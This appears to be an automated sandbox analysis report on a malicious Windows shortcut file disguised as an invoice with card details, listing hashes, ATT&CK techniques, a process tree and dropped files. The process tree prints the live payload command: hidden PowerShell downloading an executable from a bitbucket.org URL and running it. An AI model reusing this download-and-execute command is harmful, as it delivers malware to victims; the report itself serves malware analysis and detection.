0a37332f204930e2f59f4c8ba8cc07ca972135e4d7bcb09e1a33eaad47efeb97

General

Target

InvoiceandLast 4 Digit CC.lnk
Size

1KB
MD5

37fc383dd527ddd05fffdb60e32289a3
SHA1

a88265fac4df3c33048e0fb556f7add82ae10ad8
SHA256

0a37332f204930e2f59f4c8ba8cc07ca972135e4d7bcb09e1a33eaad47efeb97
SHA512

4265ea4d4b889468bb359058eef325566e8e44dd2d6bfdbf6a5e0573d5ff1cea511961342e11d77c0a317d7372121d008f2e0cb08a6167f5a4d555756758f40c

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	4756	powershell.exe
11	4756	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4032	powershell.exe
4756	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
436	Debug.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	bitbucket.org
8	bitbucket.org

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4032	powershell.exe
4032	powershell.exe
4756	powershell.exe
4756	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeDebugPrivilege	4756	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4660 wrote to memory of 4032	4660	cmd.exe	92
PID 4660 wrote to memory of 4032	4660	cmd.exe	92
PID 4032 wrote to memory of 4756	4032	powershell.exe	93
PID 4032 wrote to memory of 4756	4032	powershell.exe	93
PID 4032 wrote to memory of 436	4032	powershell.exe	94
PID 4032 wrote to memory of 436	4032	powershell.exe	94

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\InvoiceandLast 4 Digit CC.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden curl https://bitbucket.org/sharedocs/newdoc/downloads/Invoicesbv..exe -o C:\Windows\Temp\Debug.exe ;Start-Process C:\Windows\Temp\Debug.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden curl https://bitbucket.org/sharedocs/newdoc/downloads/Invoicesbv..exe -o C:\Windows\Temp\Debug.exe
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4756
- - C:\Windows\Temp\Debug.exe
    "C:\Windows\Temp\Debug.exe"
    3⤵
    - Executes dropped EXE
    PID:436

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4156 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:8
1⤵
PID:4632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
feadc4e1a70c13480ef147aca0c47bc0

SHA1
d7a5084c93842a290b24dacec0cd3904c2266819

SHA256
5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac

SHA512
c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_05r3qovp.lmd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\Debug.exe

Filesize
1.2MB

MD5
1e1f743c9d9a9d5496581c66c1c4809f

SHA1
4424d0964e994c29bf0df195275b0dcd8044a265

SHA256
c9e28b7463a51e94366558b4e4252e96a42d92a8798f8cbf69b4f11a1b72a6d0

SHA512
9f3021a812d28fce994b24c2ed4700b895b6a86b4480f93831423d737e95ba473fb3427fff303dc16c23ebae4029bd7810bbbef79a941f4548074517c8bcf2fc

Download Submit
memory/4032-2-0x00007FFAE3683000-0x00007FFAE3685000-memory.dmp

Filesize
8KB

Download
memory/4032-12-0x000001F57F2E0000-0x000001F57F302000-memory.dmp

Filesize
136KB

Download
memory/4032-22-0x00007FFAE3680000-0x00007FFAE4141000-memory.dmp

Filesize
10.8MB

Download
memory/4032-23-0x00007FFAE3680000-0x00007FFAE4141000-memory.dmp

Filesize
10.8MB

Download
memory/4032-32-0x00007FFAE3680000-0x00007FFAE4141000-memory.dmp

Filesize
10.8MB

Download

Analysis

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